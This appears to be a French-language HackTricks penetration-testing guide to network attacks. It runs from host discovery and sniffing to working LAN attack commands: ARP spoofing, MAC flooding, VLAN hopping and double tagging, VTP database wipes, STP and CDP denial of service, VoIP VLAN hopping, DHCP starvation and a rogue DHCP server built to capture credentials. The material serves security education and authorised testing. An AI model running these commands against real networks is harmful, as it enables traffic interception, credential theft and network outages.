hacktricks/generic-methodologies-and-resources/pentesting-network/README.md

63 KiB
Raw Blame History

Pentesting Network

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Astuce de bug bounty : inscrivez-vous sur Intigriti, une plateforme premium de bug bounty créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Découverte des hôtes depuis l'extérieur

Il s'agit d'une section brève sur la façon de trouver les adresses IP qui répondent depuis Internet.
Dans cette situation, vous avez une plage d'adresses IP (peut-être même plusieurs plages) et vous voulez simplement trouver les adresses IP qui répondent.

ICMP

C'est le moyen le plus facile et le plus rapide de découvrir si un hôte est actif ou non.
Vous pouvez essayer d'envoyer des paquets ICMP et attendre des réponses. Le moyen le plus simple est d'envoyer une demande d'écho et d'attendre la réponse. Vous pouvez le faire en utilisant une simple commande ping ou en utilisant fping pour les plages d'adresses.
Vous pouvez également utiliser nmap pour envoyer d'autres types de paquets ICMP (cela évitera les filtres pour les demandes-réponses d'écho ICMP courantes).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Découverte des ports TCP

Il est très courant de constater que tous les types de paquets ICMP sont filtrés. Dans ce cas, tout ce que vous pouvez faire pour vérifier si un hôte est actif est de chercher des ports ouverts. Chaque hôte possède 65535 ports, donc si vous avez un "grand" périmètre, vous ne pouvez pas tester si chaque port de chaque hôte est ouvert ou non, cela prendrait trop de temps.
Ce dont vous avez besoin, c'est d'un scan de ports rapide (masscan) et d'une liste des ports les plus utilisés :

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Vous pouvez également effectuer cette étape avec nmap, mais c'est plus lent et nmap a parfois des problèmes pour identifier les hôtes actifs.

Découverte des ports HTTP

Il s'agit simplement d'une découverte des ports TCP utile lorsque vous souhaitez vous concentrer sur la découverte de services HTTP :

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Découverte de port UDP

Vous pouvez également essayer de vérifier si certains ports UDP sont ouverts pour décider si vous devez accorder plus d'attention à un hôte. Comme les services UDP ne répondent généralement pas avec des données à un paquet de sondage UDP vide, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de le déterminer est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer celui qui est le plus probable en fonction du numéro de port :

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

La ligne nmap proposée précédemment testera les 1000 ports UDP les plus courants sur chaque hôte dans la plage /24, mais cela prendra plus de 20 minutes. Si vous avez besoin de résultats plus rapides, vous pouvez utiliser udp-proto-scanner : ./udp-proto-scanner.pl 199.66.11.53/24. Cela enverra ces sondages UDP sur leur port attendu (pour une plage /24, cela ne prendra qu'une minute) : DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

Découverte des ports SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Ici, vous pouvez trouver un guide complet de toutes les attaques Wifi bien connues au moment de la rédaction :

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Découverte des hôtes depuis l'intérieur

Si vous êtes à l'intérieur du réseau, l'une des premières choses que vous voudrez faire est de découvrir les autres hôtes. Selon le niveau de bruit que vous pouvez/voulez générer, différentes actions peuvent être effectuées :

Passif

Vous pouvez utiliser ces outils pour découvrir passivement les hôtes à l'intérieur d'un réseau connecté :

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Actif

Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (Découverte des ports TCP/HTTP/UDP/SCTP) peuvent également être appliquées ici.
Cependant, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

ICMP actif

Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (ICMP) peuvent également être appliquées ici.
Mais, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses :

  • Si vous pinguez une adresse de diffusion de sous-réseau, le ping devrait arriver à chaque hôte et ils pourraient vous répondre : ping -b 10.10.5.255
  • En pingant l'adresse de diffusion du réseau, vous pourriez même trouver des hôtes à l'intérieur d'autres sous-réseaux : ping -b 255.255.255.255
  • Utilisez l'option -PEPM de nmap pour effectuer une découverte d'hôte en envoyant des demandes ICMPv4 echo, timestamp et masque de sous-réseau : nmap -PEPM -sP vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan est utilisé pour allumer les ordinateurs via un message réseau. Le paquet magique utilisé pour allumer l'ordinateur est simplement un paquet où un MAC Dst est fourni et est ensuite répété 16 fois à l'intérieur du même paquet.
Ces types de paquets sont généralement envoyés dans un ethernet 0x0842 ou dans un paquet UDP sur le port 9.
Si aucun [MAC] n'est fourni, le paquet est envoyé en broadcast ethernet (et le MAC de diffusion sera celui qui est répété).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Analyse des hôtes

Une fois que vous avez découvert toutes les adresses IP (externes ou internes) que vous souhaitez analyser en profondeur, différentes actions peuvent être effectuées.

TCP

  • Port ouvert : SYN --> SYN/ACK --> RST
  • Port fermé : SYN --> RST/ACK
  • Port filtré : SYN --> [PAS DE RÉPONSE]
  • Port filtré : SYN --> message ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Il existe 2 options pour scanner un port UDP :

  • Envoyer un paquet UDP et vérifier la réponse ICMP unreachable si le port est fermé (dans plusieurs cas, ICMP sera filtré et vous ne recevrez aucune information si le port est fermé ou ouvert).
  • Envoyer des datagrammes formatés pour obtenir une réponse d'un service (par exemple, DNS, DHCP, TFTP et autres, comme indiqué dans nmap-payloads). Si vous recevez une réponse, alors le port est ouvert.

Nmap va mélanger les deux options en utilisant "-sV" (les scans UDP sont très lents), mais notez que les scans UDP sont plus lents que les scans TCP :

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Analyse SCTP

SCTP fonctionne aux côtés de TCP et UDP. Destiné à fournir le transport des données de téléphonie sur IP, le protocole duplique de nombreuses fonctionnalités de fiabilité du système de signalisation 7 (SS7) et constitue la base d'une famille de protocoles plus large connue sous le nom de SIGTRAN. SCTP est pris en charge par des systèmes d'exploitation tels que IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS et VxWorks.

Deux analyses différentes pour SCTP sont proposées par nmap : -sY et -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Évasion des IDS et IPS

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Plus d'options nmap

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Révélation des adresses IP internes

Les routeurs, pare-feu et dispositifs réseau mal configurés répondent parfois aux sondes réseau en utilisant des adresses source non publiques. Vous pouvez utiliser tcpdump pour identifier les paquets reçus à partir d'adresses privées lors des tests. Dans ce cas, l'interface eth2 de Kali Linux est adressable depuis l'Internet public (Si vous êtes derrière un NAT d'un pare-feu, ce type de paquets sera probablement filtré).

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

En sniffant, vous pouvez obtenir des détails sur les plages d'adresses IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et les paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous pression, les attaquants peuvent capturer du matériel sensible via le sniffing passif du réseau.

Si un réseau Ethernet commuté est correctement configuré, vous ne verrez que des trames de diffusion et du matériel destiné à votre adresse MAC.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

On peut également capturer des paquets à partir d'une machine distante via une session SSH avec Wireshark en tant qu'interface graphique en temps réel.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Bettercap est un outil de piratage réseau puissant et polyvalent utilisé pour effectuer des tests de pénétration et des attaques sur les réseaux. Il est conçu pour être utilisé par les professionnels de la sécurité pour évaluer la sécurité des réseaux et des systèmes.

Bettercap offre une large gamme de fonctionnalités, notamment la capture de paquets, l'analyse de protocoles, l'injection de paquets, la redirection de trafic, l'interception de sessions, la falsification d'adresses MAC, la détection d'intrusion et bien plus encore. Il prend en charge différents types d'attaques, tels que le détournement de session, le phishing, le déni de service, l'empoisonnement ARP, etc.

L'outil est basé sur le langage de programmation Go et est disponible pour les systèmes d'exploitation Linux et macOS. Il est facile à installer et à utiliser, offrant une interface en ligne de commande conviviale.

Bettercap est un outil extrêmement puissant, mais il est important de noter qu'il doit être utilisé de manière éthique et légale, avec le consentement approprié des propriétaires des réseaux et des systèmes. L'utilisation de Bettercap sans autorisation peut entraîner des conséquences légales graves.

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Évidemment.

Capture des identifiants

Vous pouvez utiliser des outils comme https://github.com/lgandx/PCredz pour extraire les identifiants à partir d'un fichier pcap ou d'une interface en direct.

Attaques LAN

ARP spoofing

Le spoofing ARP consiste à envoyer des réponses ARP gratuites pour indiquer que l'adresse IP d'une machine correspond à l'adresse MAC de notre appareil. Ensuite, la victime modifiera la table ARP et contactera notre machine chaque fois qu'elle voudra contacter l'adresse IP usurpée.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

L'outil arpspoof est utilisé pour mener des attaques d'empoisonnement ARP dans le cadre d'un test de pénétration réseau. L'empoisonnement ARP consiste à envoyer de fausses informations ARP à des hôtes cibles, ce qui les amène à associer une adresse IP à une adresse MAC incorrecte. Cela permet à l'attaquant de rediriger le trafic réseau vers sa propre machine, ce qui lui permet de capturer et d'analyser le trafic.

Pour utiliser arpspoof, vous devez d'abord activer le transfert de paquets sur votre machine. Cela peut être fait en exécutant la commande suivante :

echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite, vous pouvez exécuter la commande suivante pour lancer l'attaque d'empoisonnement ARP :

arpspoof -i <interface> -t <cible> <routeur>

Remplacez <interface> par l'interface réseau que vous souhaitez utiliser, <cible> par l'adresse IP de la machine cible et <routeur> par l'adresse IP du routeur par défaut.

Lorsque l'attaque est en cours, vous pouvez utiliser des outils tels que Wireshark pour capturer et analyser le trafic réseau. Assurez-vous de prendre les mesures appropriées pour vous protéger contre les fuites de données et les conséquences potentielles de cette attaque.

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - Débordement de la table CAM

Débordez la table CAM du commutateur en envoyant de nombreux paquets avec différentes adresses MAC source. Lorsque la table CAM est pleine, le commutateur se comporte comme un concentrateur (diffusant tout le trafic).

macof -i <interface>

Dans les commutateurs modernes, cette vulnérabilité a été corrigée.

Attaques VLAN / DTP 802.1Q

Trunking dynamique

DTP (Dynamic Trunking Protocol) est un protocole de couche liaison conçu pour fournir un système de trunking automatique. Avec DTP, les commutateurs décident quel port fonctionnera en mode trunk (Trunk) et lequel ne le fera pas. L'utilisation de DTP indique une mauvaise conception du réseau. Les trunks devraient être strictement là où ils sont nécessaires et cela devrait être documenté.

Par défaut, tous les ports du commutateur fonctionnent en mode Dynamic Auto. Cela indique que le port du commutateur est en mode d'initialisation du trunk à partir du commutateur voisin. Le Pentester doit se connecter physiquement au commutateur et envoyer une trame DTP Desirable, ce qui déclenche le passage du port en mode trunk. L'attaquant peut ensuite énumérer les VLAN en utilisant l'analyse des trames STP et contourner la segmentation des VLAN en créant des interfaces virtuelles.

De nombreux commutateurs prennent en charge le protocole Dynamic Trunking (DTP) par défaut, ce qui permet à un adversaire de émuler un commutateur et de recevoir du trafic sur tous les VLAN. L'outil dtpscan.sh peut renifler une interface et indiquer si le commutateur est en mode par défaut, trunk, dynamique, auto ou access (c'est le seul qui éviterait le VLAN hopping). L'outil indiquera si le commutateur est vulnérable ou non.

Si l'on découvre que le réseau est vulnérable, vous pouvez utiliser Yersinia pour lancer une "activation du trunk" en utilisant le protocole "DTP" et vous pourrez voir les paquets réseau de tous les VLAN.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Pour énumérer les VLAN, il est également possible de générer le cadre DTP Desirable avec le script DTPHijacking.py**. Ne pas interrompre le script sous aucun prétexte. Il injecte DTP Desirable toutes les trois secondes. Les canaux de trunk créés dynamiquement sur le commutateur ne restent actifs que pendant cinq minutes. Après cinq minutes, le trunk se désactive.

sudo python3 DTPHijacking.py --interface eth0

Je tiens à souligner que Access/Desirable (0x03) indique que la trame DTP est de type "Desirable", ce qui indique au port de passer en mode Trunk. Et 802.1Q/802.1Q (0xa5) indique le type d'encapsulation 802.1Q.

En analysant les trames STP, nous découvrons l'existence des VLAN 30 et 60.

Attaquer des VLAN spécifiques

Une fois que vous connaissez les identifiants VLAN et les valeurs IP, vous pouvez configurer une interface virtuelle pour attaquer un VLAN spécifique.
Si DHCP n'est pas disponible, utilisez ifconfig pour définir une adresse IP statique.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Saut automatique de VLAN

L'attaque discutée de Dynamic Trunking et la création d'interfaces virtuelles pour découvrir les hôtes à l'intérieur d'autres VLAN est automatiquement réalisée par l'outil : https://github.com/nccgroup/vlan-hopping---frogger

Double étiquetage

Si un attaquant connaît la valeur de l'adresse MAC, de l'adresse IP et de l'ID VLAN de l'hôte victime, il peut essayer de double étiqueter une trame avec son VLAN désigné et le VLAN de la victime, puis envoyer un paquet. Comme la victime ne pourra pas se connecter à l'attaquant, la meilleure option pour l'attaquant est de communiquer via UDP avec des protocoles capables d'effectuer des actions intéressantes (comme SNMP).

Une autre option pour l'attaquant est de lancer un scan de ports TCP en usurpant une adresse IP contrôlée par l'attaquant et accessible par la victime (probablement via internet). Ensuite, l'attaquant peut écouter sur le deuxième hôte qu'il possède pour voir s'il reçoit des paquets de la victime.

Pour effectuer cette attaque, vous pouvez utiliser scapy : pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Contournement de la segmentation VLAN latérale

Si vous avez accès à un commutateur auquel vous êtes directement connecté, vous avez la possibilité de contourner la segmentation VLAN au sein du réseau. Il vous suffit de passer le port en mode trunk (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou la configurer de manière statique. Cela dépend du cas.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Contournement de VLAN privé de couche 3

Dans les réseaux sans fil pour invités et autres environnements, les paramètres de VLAN privé (également appelé isolation de port) sont utilisés pour empêcher les pairs d'interagir (c'est-à-dire que les clients se connectent à un point d'accès sans fil mais ne peuvent pas se communiquer entre eux). Selon les ACL réseau (ou leur absence), il est peut-être possible d'envoyer des paquets IP à un routeur, qui les renvoie ensuite à un pair voisin.

Cette attaque envoie un paquet spécialement conçu à l'adresse IP d'un client mais avec l'adresse MAC du routeur. Ensuite, le routeur redirigera le paquet vers le client. Comme dans les attaques à double étiquetage, vous pouvez exploiter cette vulnérabilité en contrôlant un hôte accessible par la victime.

Attaques VTP

VTP (VLAN Trunking Protocol) est un protocole conçu pour gérer de manière centralisée les VLAN. Pour suivre la base de données VLAN actuelle, les commutateurs vérifient des numéros de révision spéciaux. Lorsqu'une mise à jour de la table se produit, le numéro de révision est incrémenté de un. Et si un commutateur détecte une configuration avec un numéro de révision supérieur, il mettra automatiquement à jour sa base de données VLAN.

Rôles dans un domaine VTP

  • Serveur VTP. Un commutateur dans le rôle de serveur VTP peut créer de nouveaux VLAN, supprimer les anciens ou modifier les informations dans les VLAN eux-mêmes. Il génère également des annonces VTP pour les autres membres du domaine.
  • Client VTP. Un commutateur dans ce rôle recevra des annonces VTP spécifiques d'autres commutateurs du domaine pour mettre à jour les bases de données VLAN sur le sien. Les clients sont limités dans leur capacité à créer des VLAN et ne sont même pas autorisés à modifier la configuration VLAN localement. En d'autres termes, accès en lecture seule.
  • Transparent VTP. Dans ce mode, le commutateur ne participe pas aux processus VTP et peut administrer localement et complètement la configuration VLAN entière. Lorsqu'il fonctionne en mode transparent, les commutateurs ne transmettent que les annonces VTP d'autres commutateurs sans affecter leur configuration VLAN. Ces commutateurs auront toujours un numéro de révision de zéro et ne peuvent pas être attaqués.

Types d'annonces

  • Annonce de résumé — l'annonce VTP que le serveur VTP envoie toutes les 300 secondes (5 minutes). Cette annonce contient le nom de domaine VTP, la version du protocole, l'horodatage et la valeur de hachage de configuration MD5.
  • Annonce partielle — il s'agit de l'annonce VTP qui est envoyée chaque fois qu'un changement de configuration VLAN se produit.
  • Demande d'annonce — est une demande du client VTP au serveur VTP pour un message d'annonce de résumé. Généralement envoyée en réponse à un message indiquant qu'un commutateur a détecté une annonce de résumé avec un numéro de révision de configuration supérieur.

VTP ne peut être attaqué que depuis un port trunk, car les annonces VTP sont uniquement diffusées et reçues sur les ports trunk. Par conséquent, lorsque vous effectuez un test d'intrusion après avoir attaqué DTP, votre prochaine cible pourrait être VTP. Pour attaquer le domaine VTP, vous pouvez utiliser Yersinia pour exécuter une injection VTP qui effacera l'ensemble de la base de données VLAN et paralysera ainsi le réseau.

{% hint style="info" %} Le protocole VTP comporte jusqu'à trois versions. Dans cet article, l'attaque concerne la première version, VTPv1. {% endhint %}

yersinia -G #For graphic mode

Pour effacer l'intégralité de la base de données VLAN, sélectionnez l'option supprimer tous les VLAN VTP.

Attaques STP

Si vous ne pouvez pas capturer les trames BPDU sur vos interfaces, il est peu probable que vous réussissiez une attaque STP.

STP BPDU DoS

En envoyant beaucoup de BPDUs TCP (Notification de changement de topologie) ou Conf (les BPDUs envoyés lors de la création de la topologie), les commutateurs sont surchargés et cessent de fonctionner correctement.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

Attaque STP TCP

Lorsqu'un paquet TCP est envoyé, la table CAM des commutateurs est supprimée au bout de 15 secondes. Ensuite, si vous envoyez continuellement ce type de paquets, la table CAM sera redémarrée en continu (ou toutes les 15 secondes) et lorsque cela se produit, le commutateur se comporte comme un concentrateur.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

Attaque de la racine STP

L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. Cela est intéressant lorsque vous êtes connecté à deux commutateurs différents.
Cela est réalisé en envoyant des paquets CONF BPDUs indiquant que la valeur de priorité est inférieure à la priorité réelle du commutateur racine actuel.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Si l'attaquant est connecté à 2 commutateurs, il peut devenir la racine de l'arbre et tout le trafic entre ces commutateurs passera par lui (une attaque MITM sera effectuée).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Attaques CDP

Le protocole de découverte CISCO (CDP) est le protocole utilisé par les appareils CISCO pour communiquer entre eux, découvrir qui est en vie et quelles sont leurs fonctionnalités.

Collecte d'informations

Par défaut, le CDP envoie des annonces à tous ses ports. Mais que se passe-t-il si un intrus se connecte à un port sur le même commutateur ? En utilisant un sniffer réseau, que ce soit Wireshark, tcpdump ou Yersinia, il pourrait extraire des informations précieuses sur l'appareil lui-même, depuis son modèle jusqu'à la version de Cisco IOS. En utilisant ces informations, il sera en mesure d'énumérer la même version de Cisco IOS et de trouver la vulnérabilité pour ensuite l'exploiter.

Attaque de saturation CDP

Vous pouvez effectuer une attaque DoS sur un commutateur CISCO en épuisant la mémoire de l'appareil en simulant de vrais appareils CISCO.

sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G

Sélectionnez l'option tableau de saturation CDP et lancez l'attaque. Le CPU du commutateur sera surchargé, ainsi que la table des voisins CDP, entraînant une "paralysie du réseau".

Attaque d'usurpation CDP

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Vous pouvez également utiliser scapy. Assurez-vous de l'installer avec le package scapy/contrib.

Attaques VoIP

Bien que destinés à être utilisés par les téléphones Voice over Internet Protocol (VoIP) des employés, les dispositifs VoIP modernes sont de plus en plus intégrés aux dispositifs IoT. De nombreux employés peuvent désormais déverrouiller des portes à l'aide d'un numéro de téléphone spécial, contrôler le thermostat de la pièce...

L'outil voiphopper imite le comportement d'un téléphone VoIP dans les environnements Cisco, Avaya, Nortel et Alcatel-Lucent. Il découvre automatiquement l'ID de VLAN correct pour le réseau vocal en utilisant l'un des protocoles de découverte de périphérique qu'il prend en charge, tels que le protocole de découverte Cisco (CDP), le protocole de configuration dynamique des hôtes (DHCP), le protocole de découverte de couche de liaison (LLDP-MED) et 802.1Q ARP.

VoIP Hopper prend en charge trois modes CDP. Le mode sniff inspecte les paquets réseau et tente de localiser l'ID de VLAN. Pour l'utiliser, définissez le paramètre -c sur 0. Le mode spoof génère des paquets personnalisés similaires à ceux qu'un véritable dispositif VoIP transmettrait dans le réseau d'entreprise. Pour l'utiliser, définissez le paramètre -c sur 1. Le mode de spoofing avec un paquet préfabriqué envoie les mêmes paquets qu'un téléphone IP Cisco 7971G-GE. Pour l'utiliser, définissez le paramètre -c sur 2.

Nous utilisons la dernière méthode car c'est l'approche la plus rapide. Le paramètre -i spécifie l'interface réseau de l'attaquant, et le paramètre -E spécifie le nom du dispositif VOIP qui est imité. Nous avons choisi le nom SEP001EEEEEEEEE, qui est compatible avec le format de nommage Cisco pour les téléphones VoIP. Le format se compose du mot "SEP" suivi d'une adresse MAC. Dans les environnements d'entreprise, vous pouvez imiter un dispositif VoIP existant en regardant l'étiquette MAC à l'arrière du téléphone ; en appuyant sur le bouton Paramètres et en sélectionnant l'option Informations sur le modèle sur l'écran d'affichage du téléphone ; ou en connectant le câble Ethernet du dispositif VoIP à votre ordinateur portable et en observant les demandes CDP du dispositif à l'aide de Wireshark.

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Si l'outil s'exécute avec succès, le réseau VLAN attribuera une adresse IPv4 à l'appareil de l'attaquant.

Attaques DHCP

Énumération

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Il existe deux types de DoS qui peuvent être effectués contre les serveurs DHCP. Le premier consiste à simuler suffisamment de fausses machines pour utiliser toutes les adresses IP possibles. Cette attaque ne fonctionnera que si vous pouvez voir les réponses du serveur DHCP et terminer le protocole (Découverte (Comp) --> Offre (serveur) --> Demande (Comp) --> ACK (serveur)). Par exemple, cela n'est pas possible dans les réseaux Wifi.

Une autre façon de réaliser un DoS DHCP est d'envoyer un paquet DHCP-RELEASE en utilisant chaque adresse IP possible comme code source. Ensuite, le serveur pensera que tout le monde a fini d'utiliser l'adresse IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Une façon plus automatique de le faire est d'utiliser l'outil DHCPing

Vous pouvez utiliser les attaques DoS mentionnées pour forcer les clients à obtenir de nouvelles adresses dans l'environnement, et épuiser les serveurs légitimes afin qu'ils deviennent non réactifs. Ainsi, lorsque les légitimes tentent de se reconnecter, vous pouvez servir des valeurs malveillantes mentionnées dans la prochaine attaque.

Définir des valeurs malveillantes

Vous pouvez utiliser le script DHCP de Responder (/usr/share/responder/DHCP.py) pour établir un serveur DHCP pirate. Définir une passerelle malveillante n'est pas idéal, car la connexion détournée est seulement semi-duplex (c'est-à-dire que nous capturons les paquets de sortie du client, mais pas les réponses de la passerelle légitime). Par conséquent, je recommanderais de définir un serveur DNS ou WPAD pirate pour capturer le trafic HTTP et les informations d'identification en particulier.

Description Exemple
Notre adresse IP, annoncée comme passerelle -i 10.0.0.100
Le nom de domaine DNS local (facultatif) -d example.org
Adresse IP du routeur/passerelle d'origine -r 10.0.0.1
Adresse IP du serveur DNS principal -p 10.0.0.100
Adresse IP du serveur DNS secondaire (facultatif) -s 10.0.0.1
Le masque de sous-réseau du réseau local -n 255.255.255.0
L'interface sur laquelle écouter le trafic DHCP -I eth1
Adresse de configuration WPAD (URL) -w “http://10.0.0.100/wpad.dat\n”
Spoof l'adresse IP de la passerelle par défaut -S
Répondre à toutes les demandes DHCP (très bruyant) -R

Attaques EAP

